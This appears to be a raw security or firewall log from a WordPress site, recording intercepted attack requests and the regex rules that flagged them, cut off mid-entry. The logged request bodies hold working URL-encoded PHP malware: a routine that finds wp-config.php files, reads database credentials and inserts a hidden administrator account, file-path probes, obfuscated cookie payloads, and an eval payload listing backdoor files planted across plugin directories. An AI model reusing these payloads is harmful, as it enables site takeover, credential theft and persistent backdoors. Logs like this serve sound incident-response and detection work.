%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nhost:dewenlabels.com\nsec-fetch-user:?1\ncontent-length:12640\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nCy=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 07:17:40","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> fK:%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:250\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nfK=%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B"]
["2026-04-20 07:17:45","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> nR:%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-length:250\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoyVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\n\nnR=%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B"]
["2026-04-20 07:28:01","213.209.159.254","POST","\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cmgIbF:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\